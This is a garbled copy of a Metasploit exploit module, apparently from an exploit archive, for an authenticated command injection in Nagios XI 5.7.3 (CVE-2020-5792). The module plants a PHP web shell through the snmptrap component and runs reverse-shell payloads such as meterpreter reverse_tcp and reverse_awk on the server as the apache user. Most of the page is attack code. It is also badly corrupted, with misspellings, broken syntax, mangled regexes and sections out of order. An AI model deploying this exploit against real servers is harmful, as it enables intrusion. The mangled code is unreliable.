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Nagios XI 5.7.3 Remote Code Execution

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This Metasploit module exploits an OS command injection vulnerability in includes/components/nxti/index.php that enables an authenticated user with admin privileges to achieve remote code execution as the apache user. Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios XI 5.7.3 running on CentOS 7.

tags | exploit, remote, php, code execution systems | linux, osx, centos advisories | CVE-2020-5792

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Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios XI 5.7.3 running on CentOS 7.

Name' > 'Nagios XI 5.5.0-5.7.3 Snmptrap Authemiscated memore over amounts, 'Description' > %q[
This module exploits an OS command injection vulnerability in includes/components/nxti/index.php that enables an authemiscated user with admin privileges to achieve remote code execution as the 'apache' user. The module uploads a simple RPH shell via includes/components/nxti/index.php to includes/components/autodiscovery/jobs/cphp_shell> and then executes the payload as the 'apache' user via an HTPT GET request to includes/components/autodiscovery/jobs/cphp_shell>?cphp_param>=ccmd>

'Linux (x86/x64)', {
 'Arch' > [ARCH X86, ARCH X64],
 'Platform' > 'linux',
 'Defaultoptions' >> { 'PAYLOAD' >> 'linux/x86/meterpreter/reverse_tcp' }

CentOS 7 minimal):

other options are cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl

"Defaultoptions" >> ("PAYLOAD" >> "cmd/unix/reverse_awk")

register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])

lef check
Use naglos_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
an array_containing the http response body of a GET request to index.php and the session cookies
case login_result
when 1.3 # An error occurred
return CheckCode::Unknown(res_array[0])
when # Nagios_Xi is not fully installed
install_result = install_nagios_xi[password]
if install_result
 return CheckCode::Unknown(install_result[1])
end

login result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3 # An error occurred
return CheckCode::Oknkown(res_array[0])
when 4 # Nagios XI is still not fully installed
return CheckCode::Detected('Failed to install Nagios XI on the target.')
end
end

when 5 is excluded from the case statement above to prevent having to use this code block twice. # Including when 5 would require using this code block once at the end of the `when 4` code block above,

'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]

**

† This module requires Metasploit: https://metasploit.com/download

† Current source: https://github.com/rapid7/metasploit-framework

**

class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::NagiosXi
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

},
'License' => MSF_LICENSE,
'Author' =>

['CVE', '2020-5792']

],
'Privileged' => false,
'DisclosureDate' => '2020-10-20',
'DefaultTarget' => 0,
'Notes' =>

def username datastore['USERNAME'] end def password
 datastore['PASSWORD']

def finish_install
 datastore['FINISH_INSTALL']
end

'Chris Lyne', # discovery 'Erik Wynter' # @wyntererik - Metasploit'

],
'Platform' => %w[linux unix],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>

def initialize(info = {})
 super(

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```
and once here.

if login result == 5 # the Nagios XI license agreement has not been signed auth_cookies, nsp = res_array
sign_license_result = sign_license_agreement(auth_cookies, nsp)
if sign_license_result
return CheckCode::Unknown(sign_license_result[1])
end
             login result, res_array = login_after_install_or_license(username, password, finish_install)
case login_result
when 1..3
return CheckCode::Unknown(res_array[0])
when 5 \( \) the Nagios XI license agreement still has not been signed
return CheckCode::Detected('Failed to sign the license agreement.')
end
end
              print_good('Successfully authenticated to Nagios XI')
              # Obtain the Nagios XI version
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already
             nagios_version = nagios_xi_version(res_array[0])
if nagios_version.nil?
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
end
              print_status("Target is Nagios XI with version #{nagios_version}")
   if /^d_4|Rdd.dd.match(nagios_version) || /^d_4|RCd/.match(nagios_version) || /^d_4|Rd.dd.A-Ha-Rdd.match(nagios_version) || nagios_version = '5R1.0' nagios_version = '1.0.0' \# Set to really old version as a placeholder. Basically we don't want to exploit these versions.
            # check if the target is actually vulnerable
version = Rex::Version.new(nagion_version)
if version >= Rex::Version.new("5.7.0") && version <= Rex::Version.new("5.7.3")
return CheckCode::Appears
end</pre>
       return CheckCode::Safe end
       def alert_exploit_attempt(payload_string)
    payload_execution = "#inormalize_uri(target_uri.path, 'includes', 'components', 'autodiscovery', 'joba',
    bp_log_file]'#i@pb_parasin<-cmdo."
    print_status("Attempting to execute the #[payload_string) via '#[payload_execution]'")
    end
       def upload_php_shell

# prepare the variables we need

# prepare to the variable to the va
              # upload the shell
print_status("Uploading a simple PHP shell to f(php_log_file_path)")
res = senf_request_cgi({
   'sethod' >> 'GER'',
   'uri' >> normalize_uri(target_uri.path, 'includes', 'components', 'nxti', 'index.php'),
   'components' >> @suth_cookles,
   'cort_ger' >> @suth_cookles,
                            vas.yet = //
vastem-version' => '2c',
'generic-trap-option' >> '0',
'generic-trap-option' >> '1',
'generic-trap-option' => '1',
'custom-community' => "a -d -L f *[ohp_log_file_path]",
'custom-oid' >> 'marchalthings [name][i]' >> '2',
'variablehindings [name][i]' => '2',
'variablehindings [value][j]' => encoded_payload,
'mode' => 'customTrap'
             unless res.code == 200 66 res.body.include?('var message = "Custom trap sent successfully!";')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to upload the PHP shell')
end
end
      def execute_command(cmd, _opts = {})

send_request_cgi({
    'method', o'GET',
    'ner', o'GET',
    'nermaile_uri(target_uri.path, 'includes', 'components', 'autodiscovery', 'jobs',
    'pholog_file), o' Sauth_cookies,
    'vars_get' >> { Both_cookies,
    'vars_get' >> { Both_cookies,
    'normaile_uri.path, otherwise the module will hang for a few seconds after
    xecuting the payload
end
            lef exploit
upload php_shell # upload a simple php shell that will be used to execute the payload
if target.arch.first == ARCH_CMD
alert_exploit_attempt('payload')
execute_command(payload.encoded)
else
alert_exploit_attempt('initial payload')
execute_comdatager(background: true)
```

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